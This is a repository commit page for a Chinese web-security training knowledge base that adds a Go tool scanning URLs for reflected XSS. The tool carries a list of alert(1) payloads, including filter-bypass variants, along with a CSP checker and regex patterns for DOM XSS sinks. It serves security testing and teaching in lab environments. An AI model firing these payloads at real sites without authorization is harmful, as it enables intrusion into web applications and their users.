初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
这个提交包含在:
289
02-xss/tools/xss-scanner.go
普通文件
289
02-xss/tools/xss-scanner.go
普通文件
@@ -0,0 +1,289 @@
|
||||
// xss-scanner.go - 高性能 XSS 批量扫描工具
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type XSSResult struct {
|
||||
URL string
|
||||
Payload string
|
||||
Type string
|
||||
Category string
|
||||
}
|
||||
|
||||
type XSSScanner struct {
|
||||
Client *http.Client
|
||||
Threads int
|
||||
Timeout time.Duration
|
||||
Payloads map[string][]string
|
||||
}
|
||||
|
||||
var (
|
||||
colorRed = "\033[91m"
|
||||
colorGreen = "\033[92m"
|
||||
colorYellow = "\033[93m"
|
||||
colorBlue = "\033[94m"
|
||||
colorCyan = "\033[96m"
|
||||
colorBold = "\033[1m"
|
||||
colorEnd = "\033[0m"
|
||||
)
|
||||
|
||||
func NewXSSScanner(threads int, timeout time.Duration) *XSSScanner {
|
||||
return &XSSScanner{
|
||||
Client: &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
},
|
||||
Threads: threads,
|
||||
Timeout: timeout,
|
||||
Payloads: map[string][]string{
|
||||
"basic": {
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert('XSS')</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<svg onload=alert(1)>",
|
||||
"<body onload=alert(1)>",
|
||||
},
|
||||
"event_handlers": {
|
||||
"\"onfocus=alert(1) autofocus=",
|
||||
"\"onmouseover=alert(1)//",
|
||||
"\"onclick=alert(1)//",
|
||||
"\"onerror=alert(1)//",
|
||||
"\"onload=alert(1)//",
|
||||
},
|
||||
"tag_injection": {
|
||||
"<img src=x onerror=alert(1)//",
|
||||
"<svg/onload=alert(1)//",
|
||||
"<video src=x onerror=alert(1)>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
},
|
||||
"filter_bypass": {
|
||||
"<ScRiPt>alert(1)</ScRiPt>",
|
||||
"<SCRIPT>alert(1)</SCRIPT>",
|
||||
"<script >alert(1)</script >",
|
||||
"<script\x00>alert(1)</script>",
|
||||
},
|
||||
"encoding": {
|
||||
"%3Cscript%3Ealert(1)%3C/script%3E",
|
||||
"<script>alert(1)</script>",
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *XSSScanner) SendRequest(targetURL, method, param, payload string) (string, error) {
|
||||
var req *http.Request
|
||||
var err error
|
||||
|
||||
if method == "GET" {
|
||||
u, _ := url.Parse(targetURL)
|
||||
q := u.Query()
|
||||
q.Set(param, payload)
|
||||
u.RawQuery = q.Encode()
|
||||
req, err = http.NewRequest("GET", u.String(), nil)
|
||||
} else {
|
||||
data := url.Values{}
|
||||
data.Set(param, payload)
|
||||
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return string(body), nil
|
||||
}
|
||||
|
||||
func (s *XSSScanner) ScanURL(targetURL, method, param string) []XSSResult {
|
||||
var results []XSSResult
|
||||
var mu sync.Mutex
|
||||
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, s.Threads)
|
||||
|
||||
for category, payloads := range s.Payloads {
|
||||
for _, payload := range payloads {
|
||||
wg.Add(1)
|
||||
go func(cat, p string) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
defer func() { <-sem }()
|
||||
|
||||
body, err := s.SendRequest(targetURL, method, param, p)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if strings.Contains(body, p) || strings.Contains(body, url.QueryEscape(p)) {
|
||||
mu.Lock()
|
||||
results = append(results, XSSResult{
|
||||
URL: targetURL,
|
||||
Payload: p,
|
||||
Type: "Reflected XSS",
|
||||
Category: cat,
|
||||
})
|
||||
mu.Unlock()
|
||||
fmt.Printf("%s[VULN]%s [%s] %s - %s\n",
|
||||
colorRed+colorBold, colorEnd, cat, param, p[:min(50, len(p))])
|
||||
}
|
||||
}(category, payload)
|
||||
}
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
return results
|
||||
}
|
||||
|
||||
func (s *XSSScanner) CheckCSP(targetURL string) map[string]interface{} {
|
||||
result := map[string]interface{}{
|
||||
"has_csp": false,
|
||||
"csp": "",
|
||||
"weaknesses": []string{},
|
||||
}
|
||||
|
||||
resp, err := s.Client.Get(targetURL)
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
csp := resp.Header.Get("Content-Security-Policy")
|
||||
if csp != "" {
|
||||
result["has_csp"] = true
|
||||
result["csp"] = csp
|
||||
|
||||
weaknesses := []string{}
|
||||
if strings.Contains(csp, "unsafe-inline") {
|
||||
weaknesses = append(weaknesses, "允许内联脚本 (unsafe-inline)")
|
||||
}
|
||||
if strings.Contains(csp, "unsafe-eval") {
|
||||
weaknesses = append(weaknesses, "允许 eval (unsafe-eval)")
|
||||
}
|
||||
if strings.Contains(csp, "*") {
|
||||
weaknesses = append(weaknesses, "使用通配符 (*)")
|
||||
}
|
||||
result["weaknesses"] = weaknesses
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (s *XSSScanner) ScanDOMXSS(targetURL string) []map[string]string {
|
||||
results := []map[string]string{}
|
||||
|
||||
resp, err := s.Client.Get(targetURL)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
html := string(body)
|
||||
|
||||
patterns := map[string]string{
|
||||
`document\.write\s*\([^)]*location`: "document.write with location",
|
||||
`element\.innerHTML\s*=\s*[^;]*location`: "innerHTML with location",
|
||||
`eval\s*\([^)]*location`: "eval with location",
|
||||
`window\.location\.hash`: "location.hash usage",
|
||||
}
|
||||
|
||||
for pattern, desc := range patterns {
|
||||
matched, _ := regexp.MatchString(pattern, html)
|
||||
if matched {
|
||||
results = append(results, map[string]string{
|
||||
"pattern": pattern,
|
||||
"desc": desc,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func main() {
|
||||
target := flag.String("u", "", "Target URL")
|
||||
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
|
||||
param := flag.String("p", "q", "Parameter to test")
|
||||
threads := flag.Int("t", 10, "Number of threads")
|
||||
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
|
||||
checkCSP := flag.Bool("check-csp", false, "Check CSP headers")
|
||||
domScan := flag.Bool("dom-scan", false, "Scan for DOM XSS")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
if *target == "" {
|
||||
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
|
||||
flag.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%sXSS Scanner (Go)%s\n", colorBold, colorEnd)
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
|
||||
scanner := NewXSSScanner(*threads, *timeout)
|
||||
|
||||
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
|
||||
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
|
||||
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
|
||||
|
||||
if *checkCSP {
|
||||
fmt.Printf("\n%s[*]%s Checking CSP...\n", colorCyan, colorEnd)
|
||||
cspResult := scanner.CheckCSP(*target)
|
||||
if cspResult["has_csp"].(bool) {
|
||||
fmt.Printf("%s[+]%s CSP configured: %s\n", colorGreen, colorEnd, cspResult["csp"].(string)[:min(100, len(cspResult["csp"].(string)))])
|
||||
for _, w := range cspResult["weaknesses"].([]string) {
|
||||
fmt.Printf("%s[-]%s Weakness: %s\n", colorYellow, colorEnd, w)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("%s[-]%s No CSP configured!\n", colorYellow, colorEnd)
|
||||
}
|
||||
}
|
||||
|
||||
if *domScan {
|
||||
fmt.Printf("\n%s[*]%s Scanning for DOM XSS...\n", colorCyan, colorEnd)
|
||||
domResults := scanner.ScanDOMXSS(*target)
|
||||
for _, r := range domResults {
|
||||
fmt.Printf("%s[-]%s Potential DOM XSS: %s\n", colorYellow, colorEnd, r["desc"])
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s[*]%s Testing XSS payloads...\n", colorCyan, colorEnd)
|
||||
results := scanner.ScanURL(*target, *method, *param)
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%s[SUMMARY]%s Found %d XSS vulnerabilities\n", colorGreen, colorEnd, len(results))
|
||||
for _, r := range results {
|
||||
fmt.Printf(" - [%s] %s: %s\n", r.Category, r.Type, r.Payload[:min(50, len(r.Payload))])
|
||||
}
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
}
|
||||
在新工单中引用
屏蔽一个用户